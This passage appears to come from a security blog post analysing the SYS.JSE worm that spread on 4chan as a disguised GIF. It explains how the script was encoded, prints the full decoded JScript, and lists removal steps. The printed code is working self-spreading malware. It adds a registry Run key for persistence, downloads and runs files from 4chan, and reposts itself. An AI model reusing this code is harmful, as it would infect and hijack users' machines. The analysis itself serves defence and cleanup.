Obfuscated 4chan.gif/Invasion.gif/SYS.JSE Decoded and Removal

t of encoding it was using, and folks pointed me to the post at the SAN Internet Storm Center:
But that had few detail on how the encoding was done. Byte_Bucket from Pauldotcom pointed me at a tool called "Windows Script Encoder" from Microsoft that seems to be what was used. After doing some checking, the encoded part of the JSE starts with #@~^ , which is also what the MS tool creates.


Once I knew Windows Script Encoder was used, I Google around for a decoder. This site:
pointed me at a JSE decoder you can find here:
http://www.virtualconspiracy.com/content/scrdec/download

and it seems to work. Rather than explain what the script does in great detail you can just read the source here:
GIF89aI = "x1!þ÷";
var xhr = new ActiveXObject("Msxml2.XMLHTTP");
var shell = new ActiveXObject("WScript.Shell");
var fso = new ActiveXObject("Scripting.FileSystemObject");
var ie = new ActiveXObject("InternetExplorer.Application");

"‰";
shell.currentDirectory = fso.getSpecialFolder(2);
shell.run("cmd /c copy \"" + WSH.scriptFullName + "\" sys.jse");
try {
"û";
shell.regWrite("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\sysjse", "wscript /b " + fso.getSpecialFolder(2) + "\\sys.jse");
} catch(e) {}

while(1) { try {

xhr.open("get", "http://img.4chan.org/b/", 0);
"ö";
xhr.setRequestHeader("If-Modified-Since", new Date(0));
xhr.send();
var page = xhr.responseText;

try {
xhr.open("get", page.match(/<a href="(http:\/\/img\.4chan\.org\/b\/src\/\d+\....)/)[1], 0);
"è";
xhr.send();
var im = new ActiveXObject("Adodb.Stream");
im.mode = 3;
im.type = 1;
im.open();
im.write(xhr.responseBody);
im.saveToFile("j.jse", 2);
"ÿ";
shell.run("wscript /b j.jse");
} catch(e) {}

var bdry = (""+Math.random()).substr(2);
var head = "\r\n--" + bdry + "\r\nContent-Disposition: form-data; name=";

var part1 = fso.openTextFile("y", 2, 1);
"Ó";
part1.write(head + "resto\r\n\r\n" + page.match(/<span id="nothread(\d+)/)[1] + head + "upfile; filename=a.gif\r\n\r\n");
part1.close();

var part2 = fso.openTextFile("z", 2, 1);
"ú";
part2.write((""+Math.random()).substr(2) + head + "mode\r\n\r\nregist\r\n--" + bdry + "--\r\n");
part2.close();

shell.run("cmd /c copy /b y+sys.jse+z p", 0, 1);

var post = new ActiveXObject("Adodb.Stream");
"Ù";
post.mode = 3;
post.type = 1;
post.open();
post.loadFromFile("p");

try {
ie.navigate("http://img.4chan.org/b/");
do {
WSH.sleep(100);
"Å";
} while (ie.readyState != 4);
ie.stop();
ie.document.cookie = "nws_style=; expires=" + new Date(0) + "; path=/; domain=.4chan.org";
} catch(e) {}

"ö";
xhr.open("post", "http://dat.4chan.org/b/imgboard.php", 0);
xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary=" + bdry);
xhr.send(post);

WSH.sleep(50000);

} catch(e) {} }
It seems the end point was just to spam 4chan and ban the user as a result. Cleanup and removal is about as simple as
1. Kill the wscript process
2. Removing the registry entry at: HKCU\Software\Microsoft\Windows\CurrentVersion\Run\sysjse or just use MSConfig to remove it from start up.
3. Remove sys.jse from your temp directory (Most likely something similar to c:\Documents and Settings\YouUserName\Local Settings\Temp ).
For more info on this Malware, check out: